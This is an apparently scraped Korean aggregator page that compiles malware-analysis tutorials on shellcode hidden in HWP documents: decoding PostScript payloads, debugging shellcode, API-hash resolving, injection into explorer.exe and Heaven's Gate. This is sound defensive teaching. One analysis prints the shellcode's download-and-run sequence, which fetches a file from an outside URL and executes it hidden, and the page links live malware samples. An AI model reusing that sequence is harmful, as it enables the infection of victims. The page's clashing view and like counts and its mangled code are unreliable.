쉘 코드 분석 | 64비트 쉘코드를 실행하는 한글문서 악성코드 분석 상위 95개 답변

당신은 주제를 찾고 있습니까 “쉘 코드 분석 – 64비트 쉘코드를 실행하는 한글문서 악성코드 분석“? 다음 카테고리의 웹사이트 you.tfvp.org 에서 귀하의 모든 질문에 답변해 드립니다: https://you.tfvp.org/blog/. 바로 아래에서 답을 찾을 수 있습니다. 작성자 악분 이(가) 작성한 기사에는 조회수 609회 및 145188 Like 개의 좋아요가 있습니다.

쉘 코드 분석 주제에 대한 동영상 보기

여기에서 이 주제에 대한 비디오를 시청하십시오. 주의 깊게 살펴보고 읽고 있는 내용에 대한 피드백을 제공하세요!

d여기에서 64비트 쉘코드를 실행하는 한글문서 악성코드 분석 – 쉘 코드 분석 주제에 대한 세부정보를 참조하세요

이번 시간에는 한글문서 악성코드를 분석합니다.
분석 보고서 글: https://www.notion.so/b78761785f6a4428935c4c087ecbd181
한글문서에 있는 쉘코드는 실행 환경에 따라서 32비트/64비트 API함수를 각각 호출합니다. 저는 64비트환경이므로 64비트 API함수를 분석하는 방법에 대해 소개합니다.
— 목차 —
0:00 인트로
0:40 샌드박스 분석
2:42 프로세스모니터 분석
4:45 포스트스크립트 추출
6:05 포스트스크립트 페이로드 복호화
8:00 쉘코드 추출
8:54 쉘코드 실행 방법 1번째 방법: jmp2it.exe
12:02 쉘코드 실행 방법 1번째 방법: gbb.exe
15:30 쉘코드 분석 시작
16:16 API 리졸빙: GetModuleFileName
19:50 프로세스를 실행한 파일 이름 비교
20:50 API 리졸빙 x32dbg 스크립트 작성
25:25 코드 인젝션:WriteProcess
28:06 코드 인젝션:RtlCreateUserThread
28:35 실행환경 검사: ISWow64Process
30:05 헤븐즈게이트
31:37 64비트 쉘코드: 디버깅 시작
32:49 64비트 쉘코드: API 리졸빙
33:42 64비트 쉘코드: 네트워크 주소 획득

쉘 코드 분석 주제에 대한 자세한 내용은 여기를 참조하세요.

악성 쉘코드(Shellcode) 분석 – Re: 제로부터 시작하는 블로그 생활

악성 쉘코드(Shellcode) 분석. 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 …

+ 여기를 클릭

Source: 5kyc1ad.tistory.com

Date Published: 3/29/2022

View: 4067

쉘코드 분석 방법 – ML

한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다.

+ 여기에 표시

Source: isacacia.tistory.com

Date Published: 2/18/2021

View: 7609

[쉘코드] 쉘코드 분석 방법 – 네이버 블로그

[쉘코드] 쉘코드 분석 방법 · 1. 난독화 해제 및 쉘코드 추출 · malzilla by bobby 툴을 이용하여 PDF 내에서 추출된 악성 쉘 코드(스크립트)를 말질라에서 …

+ 여기에 표시

Source: m.blog.naver.com

Date Published: 12/20/2022

View: 7300

64비트 쉘코드를 실행하는 한글문서 악성코드 – 악분

hybr-analysis 샌드박스를 이용하여 한글 악성코드를 분석합니다. ​. 1.2 한글문서 악성코드 추출. 포스트스크립트 쉘을 이용해서 한글문서에 존재하는 …

+ 더 읽기

Source: malwareanalysis.tistory.com

Date Published: 11/24/2021

View: 3068

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 …

+ 여기에 보기

Source: kjcc2.tistory.com

Date Published: 4/28/2021

View: 9486

Top 37 쉘 코드 분석 Best 275 Answer – Chewathai27

악성 쉘코드(Shellcode) 분석 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 …

+ 여기에 표시

Source: chewathai27.com

Date Published: 9/3/2021

View: 154

[hwp eps] 악성코드 분석 보고서

2.1) 행위 분석. 한글문서를 실행시키면 쉘코드가 바로 실행된다. Procmon 프로그램의 Process Tree 기능을 이용하여 현재 한글 …

+ 여기에 표시

Source: wogh8732.tistory.com

Date Published: 2/12/2021

View: 1671

폴리몰픽 쉘코드 탐지 기술 동향

전자통신동향분석 제 23권 제 1호 2008년 2월. 목 차. Ⅰ. 서론. Ⅱ. 폴리몰픽 쉘코드의 특징. Ⅲ. 관련 연구. Ⅳ. 정적 분석 방지 기법. Ⅴ. 동적 분석 탐지 방법.

+ 여기를 클릭

Source: ettrends.etri.re.kr

Date Published: 4/10/2022

View: 3107

주제와 관련된 이미지 쉘 코드 분석

주제와 관련된 더 많은 사진을 참조하십시오 64비트 쉘코드를 실행하는 한글문서 악성코드 분석. 댓글에서 더 많은 관련 이미지를 보거나 필요한 경우 더 많은 관련 기사를 볼 수 있습니다.

64비트 쉘코드를 실행하는 한글문서 악성코드 분석
64비트 쉘코드를 실행하는 한글문서 악성코드 분석

주제에 대한 기사 평가 쉘 코드 분석

  • Author: 악분
  • Views: 조회수 609회
  • Likes: 145188 Like
  • Date Published: 2020. 7. 20.
  • Video Url link: https://www.youtube.com/watch?v=qA5GNwSuqb0

Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

악성 쉘코드(Shellcode) 분석

문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다.

[그림 1. ODA에서 디스어셈블한 쉘코드 전체, 클릭하면 커집니다]

쉘코드 전체는 위와 같습니다. 이 쉘코드는 크게 함수를 찾아 실행시키는 함수와 연쇄적으로 함수를 호출하는 두 부분으로 나뉩니다. 함수를 찾아 실행시키는 이 함수가 가장 중요하므로 메인 함수라고 부르겠습니다. 맨 밑에는 URL String이라고 주석으로 단 것과 같이 URL 문자열이 들어 있습니다.

[그림 2. 쉘코드 시작 직후 바로 Call 하는 루틴]

우선 함수를 호출하는 부분부터 살펴보면, 쉘코드가 시작하자마자 쉘코드 내의 특정 함수를 Call하는 것을 볼 수 있습니다. Call 명령어의 특징은 JMP 명령과는 달리 실행되면서 자동으로 스택에 다음 명령어의 주소(여기서는 0x30006), 즉 리턴 어드레스를 스택에 Push한다는 점인데, Call된 함수 내부에서는 바로 Pop 명령으로 EBP에 그 값을 저장합니다. 그리고 스택에 몇 가지 인자를 넣고 EBP를 그대로 호출합니다. 첫 번째 인자는 지금은 무엇인지 알 수 없는 4바이트 값이며, 두 번째 인자는 Push ESP를 통해 들어간 문자열 값으로 “urlmon”이라는 값입니다. 이를 알 수 있는 이유는 Push ESP 이전에 두 번의 Push를 통해 스택에 문자열로 “urlmon”을 저장하는 것이 보이기 때문입니다. 이제 EBP에 지정된 함수(0x30006)에 대해 분석해보겠습니다.

[그림 3. 함수를 찾아 실행시키는 메인 함수]

쉘코드 전체에서 위의 빨간 점선 부분이 Call EBP를 통해 호출되는 부분입니다. 바로 이 함수가 위에서 언급한 메인 함수입니다. 분석을 마치고 내린 결론은 이 함수는 인자로 특정 함수명의 해시를 전달받아 이를 찾아 실행시키는 함수라는 점입니다. 차근차근 위에서부터 분석해보겠습니다.

[그림 4. 로드된 모듈과 그 안의 함수 정보를 가져오는 부분]

fs:[0x30]으로 PEB를 가져오고, 거기서 또 0xC만큼의 Offset에 있는 Ldr을 가져옵니다. 여기까지만 봐도 벌써 익숙한 코드여서 그 다음은 분석하기 무척 쉬웠습니다. 메모리에 로드된 DLL 정보가 이중 연결 리스트 형태로 저장되어있는 Ldr 구조체를 참조하여 로드된 DLL 정보와 Base Address를 가져오고, 이를 파싱하여 Export Table을 확인합니다. 만약 Export된 함수가 없을 경우에는 밑으로 점프하는데 밑에서는 참조할 DLL을 다음 것으로 로드한 뒤 다시 위로 돌아옵니다. 위 루틴이 끝난 후에는 ESI에 함수 이름이 저장됩니다. 자세한 내용은 전에 공부하며 정리한 적이 있으므로 아래 링크 두 개를 참조하면 되겠습니다.

TIB, PEB를 이용해 로드된 DLL 정보 가져오기 : https://5kyc1ad.tistory.com/328

GetProcAddress 없이 API 주소 가져오기 : https://5kyc1ad.tistory.com/329

[그림 5. 찾은 함수명 해싱]

그렇게 찾아온 함수를 직접 만든 듯한 루틴에 넣고 돌려 4바이트짜리 해시를 뽑습니다. lodsb 명령의 경우 ESI가 가리키는 값 한 바이트를 al에 복사하고 ESI 값을 1바이트 증가시키는 역할을 합니다. (참고 : https://blog.naver.com/krquddnr37/20193085864) 해싱 함수의 경우 무척 간단해서 파이썬으로 루틴을 작성해봤습니다.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # ROL & ROR Function : https://bbolmin.tistory.com/133 def ROL(data, shift, size = 32 ): shift % = size remains = data > > (size – shift) body = (data < < shift) - (remains < < size ) return (body + remains) def ROR(data, shift, size = 32 ): shift % = size body = data > > shift remains = (data < < (size - shift)) - (body < < size) return (body + remains) def HashROR(target): ret = 0 for c in target: ret = ROR(ret, 0xD ) ret + = ord(c) return ret Colored by Color Scripter cs 그리고 나온 해시를 [EBP+24]와 비교하는데, 이는 위에서 Call EBP를 통해 이 함수를 호출하기 전에 첫 번째 인자로 넣었던 값입니다. 즉, 메인 함수의 첫 번째 인자는 찾고자 하는 함수명의 해시임을 알 수 있습니다. [그림 6. 찾은 함수 호출 루틴] 그렇게 찾아낸 함수는 위 루틴을 거쳐 실행시킵니다. 함수로 Jmp하기 전에 Popad와 Pop이 두 번 있는 것을 볼 수 있는데, 그림 3에서 확인할 수 있듯이 메인 함수가 실행된 후 Pushad를 호출했었습니다. Popad로 스택에서 그 부분을 다시 가져오고, pop을 두 번 진행하여 스택에 쌓여 있던 리턴 어드레스와 첫 번째 인자(해싱된 함수명)를 제거합니다. SFP(Saved Frame Pointer)의 경우에는 함수에서 호출되자마자 Push EBP를 통해 스택에 쌓는게 일반적이지만 여기에서는 그런 명령어는 없었으니 논외입니다. 이후 첫 번째로 Pop했던 리턴 어드레스를 다시 Push하고 Call이 아니라 JMP 명령어로 찾아낸 함수를 호출하는데, 이럴 경우 방금 Push한 메인 함수의 리턴 어드레스가 JMP 명령으로 이동할 함수에서 사용할 리턴 어드레스가 되므로 찾아낸 함수가 종료되는 순간 메인 함수를 호출한 다음 명령어로 돌아가게 될 것입니다. (그림 2의 0x300C7) 이렇게 하면 자연스럽게 메인 함수에 넘긴 두 번째 인자부터는 메인 함수 내에서 찾아 호출한 함수의 인자로 들어가게 됩니다. [그림 7. 메인 함수 호출] 이 쉘코드는 이런식으로 Call EBP를 연쇄적으로 호출하는데, 지금까지의 과정으로 메인 함수의 첫 번째 인자는 호출할 함수명의 해시이며 두 번째부터는 찾아서 호출될 함수에 들어갈 인자들이라는 것을 알 수 있었습니다. [그림 8. 함수명과 그 해시] 이를 통해 찾아낸 각 해시에 대응하는 함수명들은 위와 같습니다. 이는 위에 파이썬으로 작성해 둔 HashROR 함수로 얻어낸 값입니다. 그림 7에 빨간 점선으로 표시된 값과 일치하는 것을 확인할 수 있습니다. 그림 7에도 주석으로 달려 있지만 이 쉘코드에서 호출할 것이라 예상되는 함수와 그 순서는 다음과 같습니다. (이해를 돕기 위해 중간에 Pseudo-Code도 포함되어있습니다) 1 2 3 4 5 6 7 LoadLibrary( "urlmon" ); LPVOID p = VirtualAlloc( NULL , 0x400 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); GetTempPathA( 0x104 , p); p + = "tasc.exe" ; URLDownloadToFileA( NULL , "http://hrkumdo.org/xe/files/capsule.jpg" , p, NULL , NULL ); WinExec(p, SW_HIDE); TerminateProcess(INVALID_HANDLE_VALUE, 0 ); Colored by Color Scripter cs 결론을 내리면 이 쉘코드는 특정 URL에서 PE 파일을 다운로드 받아와서 임시 폴더에 저장하고, 콘솔 없이 백그라운드로 실행시키는 동작을 합니다. 난독화나 암호화가 된 것도 아니라서 분석하기는 무척 쉬웠던 것 같습니다.

쉘코드 분석 방법

728×90

반응형

한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다.

확인 결과 다운로드 받은 파일은 쉘코드 였으며, 그 쉘코드를 분석하는 방법을 포스팅하려고한다.

1. 우선 올리디버거를 켜고 notepad.exe 파일을 디버거창에 올려놓는다.

2. 오른쪽 클릭 후 [Backup] – [Load backup from file]을 클릭 후! 쉘코드 파일을 연다!

그럼 다음과 같은 오류가 뜰텐데 예(Y) 클릭!

그 후 파일이 로드되면

[HOME] – [Shift + End] – [Alt + Backspace] + [HoME] – [Ctrl + *]

순서대로 클릭!

처음 메모리 주소 부터 끝 메모리 주소까지 올리디버거가 분석해준 정보를 해제하는 후 다시 처음으로가서 EIP 값을 설정해주는 것이다.

그럼 아래 그림처럼 쉘코드의 엔트리 포인트로 진입할 수 있게 된다.

반응형

[쉘코드] 쉘코드 분석 방법

추출한 hex 값을 악성코드 추출하는 사이트 http://sandsprite.com/shellcode_2_exe.php 에 복사한 뒤 변환을 시도한다. 참고로 쉘코드의 특징은 대부분 앞 뒤 0x909090을 갖는다는 점을 유의하자.

64비트 쉘코드를 실행하는 한글문서 악성코드

반응형

악성코드 링크: https://app.any.run/tasks/b4381901-3a3b-4055-8304-f0870a8d3c7c/

프로세스모니터 로그 다운로드 링크: https://drive.google.com/file/d/1CzQG1FTBlQGd7wJU_jwskp2S5lo5Qqsl/view?usp=sharing

hybrid-analysis 샌드박스 링크: https://www.hybrid-analysis.com/sample/c5153d6f6c103862f9163814d996f428c4bfe45bed5224d4b21ca239a1ccfcdc?environmentId=110

영상: https://youtu.be/qA5GNwSuqb0

1. 요약

1.1 한글문서 악성코드 샌드박스 분석

hybrid-analysis 샌드박스를 이용하여 한글 악성코드를 분석합니다.

1.2 한글문서 악성코드 추출

포스트스크립트 쉘을 이용해서 한글문서에 존재하는 악성코드를 추출합니다.

1.3 API 리졸빙

악성코드가 실행 중에 필요한 API함수 주소를 가져오는 과정을 x32dbg 조건 브레이크포인트를 설정하여 로그로 출력합니다.

1.4 헤븐즈게이트

악성코드를 실행하는 시스템이 64비트인 경우 동작하는 헤븐즈게이트를 살펴봅니다.

1.5 인젝션된 64비트 쉘코드 분석

64비트 프로세스에 인젝션된 쉘코드를 분석합니다.

2. 행위분석

프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다.

한글문서를 열자마자 바로 악성코드가 실행됩니다. 악성코드의 목적은 explorer.exe를 대상으로 코드 인젝션을 수행합니다.

그림1 hybrid-analysis 코드 인젝션 로그

프로세스모니터에서는 코드 인젝션이 실패하여 오류가 발생합니다.

그림2 프로세스모니터 로그 ​

악성코드는 포스트스크립트로서 한글문서 위에 작은 크기로 숨겨져있습니다.

그림3 한글문서에 숨겨진 악성코드

2. 악성코드 추출

챕터2에서는 한글파일의 악성코드인 포스트스크립트를 추출합니다.

PS스크립트는 https://github.com/TipsforMalwareanalysis/HWP_malware/blob/master/ec0c543675374a0ee9a83a4d55ca1a6c/1_data.ps 에서 볼 수있습니다.

EPS스크립트는 https://github.com/TipsforMalwareanalysis/HWP_malware/blob/master/ec0c543675374a0ee9a83a4d55ca1a6c/2_data.eps

hwpscan2도구로 한글파일에 존재하는 포스트스크립트를 추출합니다.

* Root Entry → BinData → BIN0001.ps 오른쪽 마우스를 클릭 후 Save a Hex(Decompress)

그림4 포스트스크립트 추출 ​

포스트스크립트는 실행 중에 XOR연산으로 페이로드를 복호화 합니다. 복호화키는 바이트배열입니다.

그림5 포스트스크립트 복호화

복호화 결과를 파일로 추출하기 위해 실행 명령어(exec)를 출력 명령어(print)로 변경합니다.

그림6 파일 추출을 위한 포스트스크립트 수정

고스트스크립트 쉘에서 수정한 포스트스크립트를 실행합니다. 결과물을 복사하여 파일로 저장합니다.

그림7 복호화된 데이터

3. 쉘코드 실행

​jump2it.exe와 gbb.exe를 사용하여 쉘코드를 실행하는 방법에 대해 살펴봅니다.

복호화된 데이터 중 쉘코드가 존재합니다. 쉘코드를 분석하기 위해 exe파일로 변환해야 하는데 파일 크기가 커서 [2차 미북 정상회담.hwp]예제에서 사용한 방법이 되지 않습니다. shellcode2exe.py는 1kbyte크기인 쉘코드만 exe파일로 변경합니다.

* 2차 미북 정상회담.hwp 분석 보고서: https://www.notion.so/2-hwp-cbc93af950d745c48dc15d9b355ac6f4

3.2 jump2it으로 쉘코드 실행

jump2it은 https://github.com/adamkramer/jmp2it/releases/tag/v1.4에서 다운로드 받을 수 있습니다.

3.2.1 쉘코드 추출

[그림 7]에서 ‘<>‘꺽쇠사이에 있는 데이터를 헥사에디터를 활용하여 저장합니다.

그림8 쉘코드 저장

3.2.2 쉘코드 실행

jump2it로 쉘코드를 실행하고 디버거로 jmp2it.exe프로세스에 Attach하는 방식입니다. 번거로운 점은 Attach하고 몇 개의 명령어를 NOP으로 변경해야 합니다.

그림9 쉘코드 실행

x32dbg로 jmp2it프로세스 attach(File → attach)합니다.

그림10 x32dbg Attach 시도

attach가 성공하면 일시정지 상태로 되고 ret명령어가 보입니다.

그림11 attach 결과

​F9를 누르고 2~3초 뒤에 일시정시상태로 변경합니다.

그림12 시작→일시정시 결과

스페이스를 눌러 jmp명령어를 nop으로 변경합니다.

그림14 명령어 변경 결과

all edi까지 실행한 후 F7을 눌러 진입합니다.

그림15 쉘코드 진입

[그림 8]에서 저장한 쉘코드와 진입한 명령어가 일치한 것을 알 수 있습니다.

그림16 쉘코드 진입 성공

3.3 gbb.exe으로 쉘코드 실행

행위분석 [그림 2]를 보면 gbb.exe가 실행되었습니다. gbb.exe는 구버전 한글을 설치하면 기본으로 설치되는 포스트스크립트 실행기입니다. gbb.exe를 디버거로 실행해서 [그림 7]에서 추출한 포스트스크립트를 실행할 것입니다.

한글설치 경로에 gbb.exe를 찾아 x32dbg로 실행합니다.

* 설치경로: C:\Program Files (x86)\Hnc\Common80\ImgFilters\GS\gs8.60\bin

그림17 gbb.exe 디버거 실행

gbb.exe를 실행할 때 필요한 인자(File → Change CommandLine)를 수정합니다. [그림 7]에서 추출한 파일 경로를 추가합니다.

그림18 커맨드라인 수정

ctrl + F2를 눌러 gbb.exe를 다시 시작합니다. VirtualProtect에 브레이크포인트를 설정하고 실행합니다. 브레이크포인트에 멈추면 Alt + F9를 눌러 VirtualProtect를 호출한 곳으로 이동합니다. 이동한 곳은 쉘코드 영역입니다. jmp2it실행 결과(그림 16)와 같습니다.

그림19 쉘코드로 이동

4. 쉘코드 분석

4.1 API 리졸빙

쉘코드는 실행 중에 필요한 API함수 주소를 가져온 뒤 API함수를 실행합니다. 이 과정을 API리졸빙이라고 부릅니다. x32dbg의 브레이크포인트 컨디션이라는 기능을 사용하여 쉘코드가 가져올 API함수 목록을 가져올 수 있습니다.

쉘코드 시작점에서 F8번을 한번 누르면 함수를 call하는 명령어를 만납니다. F7을 눌러 함수에 진입합니다. 그리고 [그림 20]와 같이 브레이크포인트를 설정하고 마지막 브레이크포인트에 멈출 때까지 실행합니다.

그림20 API 리졸빙 함수에 진입하기 위한 브레이크포인트 설정

F7번을 눌러 함수에 진입합니다. 첫 번째 만나는 함수에서도 F7을 눌러 진입합니다.

그림21 API 리졸빙 함수진입

오른쪽 버튼을 눌러 Graph버튼을 클릭합니다. 이제 어셈블리 명령어를 그래프로 볼 수 있습니다.

그림22 그래프 모드 전환

스크롤을 내리면 xor eax, eax 명령어를 볼 수 있습니다. 해당 명령어는 eax를 0으로 초기화하는 명령어입니다. API함수 주소를 성공적으로 가져왔다면 eax값을 0으로 초기화하지 않으므로 오른쪽 구간은 API함수 주소를 가져오는 과정이 실패했을때 실행됩니다. 반대로 왼쪽은 API함수 주소를 성공적으로 가져왔을 때 실행되는 곳입니다.

jmp 명령어에 브레이크포인트를 설정합니다.

그림23 API리졸빙 분기

이제 브레크포인트 조건을 수정할 겁니다. Breakpoints탭으로 이동하고 [그림 23]에서 설정한 브레이크포인트를 찾아 클릭한 후 Ctrl + E를 누릅니다. Break Condition을 0으로 수정하고 Log Text를 [그림 24]와 같이 설정합니다. 브레이크포인트를 만나도 멈추지 않고 로그를 남기는 설정입니다.

* 꼭 스냅샷을 찍고 진행하세요.

그림24 브레이크포인트 조건 수정

F9를 눌러 실행하고 Log탭으로 이동합니다. 쉘코드가 실행 중에 가져온 API주소를 볼 수 있습니다. 오류가 발생할 때까지 F9를 눌러 실행하여 모든 API이름을 출력합니다.

그림25 API리졸빙 로그

API이름을 보고 악성행위를 추측할 수 있습니다.

※ 프로세스 인젝션

▶ WriteProcessMemory

▶ RtlCreateUserThread

※ 프로세스 정보 탐색

▶ CreateToolhelp32Snapshot

▶ Process32First

▶ Process32Next

※ 실행환경 검사

▶ 32비트인지 64비트인지 확인: IsWow64Process

▶ 파일이름검사: GetModuleFileName

※ 권한상승

▶ ZwAdjustPrivilegesToken

▶ GetCurrentProcess

4.2 프로세스 인젝션

[그림 1]에서 분석한 것처럼 쉘코드는 explorer.exe에 쉘코드를 인젝션합니다. API리졸빙 로그를 통해 프로세스인젝션 함수를 알았으므로 해당 함수에 브레이크포인트를 설정해서 분석해봅시다.

4.2.1 데이터 쓰기: WriteProcessMemroy

스냅샷으로 돌아가 WriteProcessMemroy에 브레이크포인트를 설정합니다. 실행한 후에 스택창을 확인하면 어떤 프로세스에 무슨 데이터를 쓰는지 알 수 있습니다.

※ 2번째 인자: 프로세스 핸들

※ 3번째 인자: 데이터를 쓸 메모리 주소

※ 4번째 인자: 인젝션 데이터

그림26 WriteProcessMemroy 인자 확인

프로세스 핸들은 x32dbg Handles탭에서 확인할 수 있습니다. Process Hacker와 같이 확인하면 explorer.exe입니다.

그림27 인젝션 대상 확인

[그림 25]을 스택창을 확인하면 explorer.exe 0x2F60000에 데이터를 쓰려는 것을 알 수 있습니다. Process Hacker의 Memory탭을 확인하면 해당 주소는 현재 비어있고 쓰기(R), 읽기(W), 실행(X) 속성이 있습니다.

그림28 인젝션 할 메모리 주소

F9를 눌러 WriteProecessMemory를 실행하면 0x2f60000주소에 데이터가 써집니다.

그림29 인젝션 데이터 확인

4.2.2 인젝션 데이터 실행: RtlCreateUserThread

인젝션한 데이터는 RtlCreateUserThread함수에 의해 실행됩니다. 하지만 분석하는 환경이 64비트인 경우에 브레이크포인트를 설정해도 멈추지 않습니다. 64비트용 RtlCreateUserThread함수를 호출하기 때문입니다. 이 문서에서는 분석환경이 64비트라는 전제로 인젝션 코드 실행은 4.3섹션에서 다룹니다.

4.3 64비트 API함수 호출: 헤븐즈게이트

쉘코드는 IsWow64Process함수를 사용해서 실행환경이 32비트인지 64비트인지 검사합니다. 64비트이면 64비트용 RtlCreateUserThread를 실행하여 인젝션한 데이터를 실행합니다.

IsWow64Process에 브레이크포인트를 설정합니다. 브레이크포인트에 멈추면 Alt + F9를 눌러 IsWow64Process를 호출한 곳으로 이동합니다. IsWow64Process결과는 esi레지스터에 저장합니다. 32비트이면 esi레지스터는 0, 64비트이면 esi레지스터가 1이 됩니다.

그림30 IsWow64Process결과 저장

저는 분석환경이 64비트이므로 ESI레지스터가 1로 설정됩니다. F8번을 눌러 한줄한줄 명령어를 실행합니다. call eax를 만나면 F7을 누릅니다.

그림31 다른 쉘코드 실행

ret far명령어로 64비트 API함수를 실행합니다. ret far을 실행하면 디버거가 꺼집니다.

* 꼭 스냅샷을 찍고 진행하세요.

그림32 64비트 API함수 호출

5. 64비트 쉘코드 분석

64비트 API함수 분석은 64비트 디버거를 사용해야하므로 x64dbg를 사용합니다.

5.1 64비트 쉘코드 Attach

x64dbg를 실행하고 explorer.exe에 Attach(File→Attach)합니다.

* explorer.exe를 디버깅 하면 작업 표시줄 등 시스템이 제대로 동작하지 않습니다.

그림33 64비트 explorer.exe attach

[그림 28]에서 확인한 주소에 브레이크포인트를 설정합니다. 그리고 x32dbg에서 ret far(그림 32)를 실행합니다.

그림33 코드 인젝션 한 메모리 주소에 브레이크포인트 설정

explorer.exe는 바로 브레이크포인트에 멈추지 않습니다. explorer.exe는 쓰레드가 많으므로 브레이크포인트에 멈출 때까지 F9를 눌러 실행합니다.

그림33 브레이크포인트에 멈춤

5.2 API 리졸빙

64비트 쉘코드 첫 번째 동작은 [그림 20] ~ [그림 25]처럼 필요한 API함수를 주소를 가져오고 실행합니다.

5.2 API 리졸빙

64비트 쉘코드 첫 번째 동작은 [그림 20] ~ [그림 25]처럼 필요한 API함수를 주소를 가져오고 실행합니다.

* 꼭 스냅샷을 찍고 진행하세요.

그림34 API 리졸빙 분기

그림35 브레이크포인트 조건 설정

Log탭에서 확인하시면 네트워크 연결에 관련된 API함수 주소를 가져오는 것을 알 수 있습니다.

그림36 API리졸빙 목록

5.3 네트워크 활동 분석

쉘코드는 InternetConnectA, HttpOpenRequestA를 사용해서 http프로토콜 통신을 합니다. 해당 함수에 브레이크포인트를 설정하면 누구와 통신하고자 하는지 대상을 알 수 있습니다. 현재 대상은 존재하지 않아 대상확인만 가능하고 통신 목적은 확인하지 못합니다.

* 기업 분석 보고서에 의하면 추가 악성코드를 다운로드 받는 목적이라고 합니다.

5.3.1 연결대상 확인: InternetConnectA

IntetnectConnect함수에 브레이크포인트를 설정하고 실행합니다. InetnectConnectA함수 2번째 인자는 연결대상 정보를 저장합니다. 현재 64비트 프로세스이기 때문에 RDX레지스터가 2번째 인자를 저장합니다.

그림37 연결대상 확인

5.3.2 연결주소 확인: HttpOpenRequestA

http 프로토콜이므로 [그림 37]에서 확인한 연결대상의 어떤 주소에 연결하려고하는지 확인해봅시다. HttpOpenReuqestA에 브레이크포인트를 설정하고 실행합니다. 3번째 인자가 연결주소를 저장합니다. 64비트이므로 R8레지스터가 3번째 인자 값을 저장합니다.

그림38 연결주소 확인

6. 참고자료

※ ghostscript 다운로드 링크: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases

※ 분석보고서(중국어): https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-threat-actor-group/

※ 이글루시큐리티 월간보안동향 2월 보고서: http://www.igloosec.co.kr/pdf/igloosec_security_report_202002.pdf

※ x64dbg log format: https://help.x64dbg.com/en/latest/introduction/Formatting.html

※ 64bit calling convetion: https://docs.microsoft.com/ko-kr/cpp/build/x64-calling-convention?view=vs-2019

반응형

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^

간략하게 글을 적어봅니다.

이 글은 보통 악성 스크립트들을 Malzilla로 분석하는데 있어, 못하는 부분들이 있기 때문에 이런 방법을 많이 사용하고 있습니다.

물론 저는 그렇구요^^; 다른 분들은 어떻게 분석하는지 모르겠네요!! ㅎㅎ

– Malzilla :

– OllyDbg :

– UltraEdit < 준비물>– Malzilla : http://malzilla.sourceforge.net/downloads.html – OllyDbg : http://www.ollydbg.de – UltraEdit

1. 우선 파일을 UltraEdit로 오픈합니다.

그럼 다음과 같이 쉘코드로 보이는 문자열들이 보입니다.

이 문자열들을 복사합니다.

(주의) 중간에 “+” 이라는 문자들은 모두 공백으로 바꾸어줍니다^^

2. 복사 한 부분을 Malzilla의 Misc Decoders탭에 붙여넣기 합니다.

그 후 UCS2 to Hex 를 클릭합니다.

3. 그럼 쉘코드가 Hex값으로 변환되었습니다. 이 부분을 다시 복사합니다.

4. 복사한 부분을 Shellcode analyzer 탭이나 Hex View 탭으로 이동하여 Paste as hex로 붙어넣습니다. 그리고 우측마우스를 눌러서 Save를 합니다.

파일명을 저장 할 때, ” Hex_view_file.mem ” 으로 저장하시면 추후 편리합니다 ㅋㅋ

이제 저장 된 Hex를 OllyDbg에 연동하여 쉘코드를 분석해 보겠습니다.

5. 우선 Olly를 열고 아무파일이나 오픈합니다. 저는 개인적으로 notepad.exe를 좋아해서 ㅡㅡ;; 그 파일을 오픈하였습니다 ㅋㅋ

그리고 마우스 우측버튼을 이용하여 Backup -> Load Backup From File 을 클릭합니다.

아까 저장해 둔 mem 파일을 불러옵니다.

그럼 크기가 안맞는다니 어쩐다니 그런 개소리를 하게 되는데~ 사뿐히 즈려밟고 갑니다.

6. 지금부터가 중요합니다. 백업파일을 적용했으나 변한것이 없을겁니다~ 따라서 다음과 같이 해주세요. 1) Home키를 눌러 맨 위로 올라감 2) Shift + End 키를 이용해서 모든 코드를 블럭처리 3) 마무리로 Alt + BackSpace를 누루면 코드 맨 위에 Hex값을 복사 4) 다시 Home키를 눌러 맨 위로 올라가서 Ctrl+* 로 시작지점을 변경

7. 이제 부터는 일반적인 디버깅 시작~~ Loop 부분이 종료 되면 원하던 주소값을 얻을 수 있습니다.

쉽게 설명한다고 썻는데;; 보는사람입장에서는 어떻게 보일지 모르겠네요 ㅎㅎ

궁금한점이나 안되는 점이 있으시면 댓글로 써주세요^^

Top 37 쉘 코드 분석 Best 275 Answer

64비트 쉘코드를 실행하는 한글문서 악성코드 분석

64비트 쉘코드를 실행하는 한글문서 악성코드 분석

Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

Article author: 5kyc1ad.tistory.com

Reviews from users: 40846 Ratings

Ratings Top rated: 5.0

Lowest rated: 1

Summary of article content: Articles about Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석 악성 쉘코드(Shellcode) 분석. 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 … …

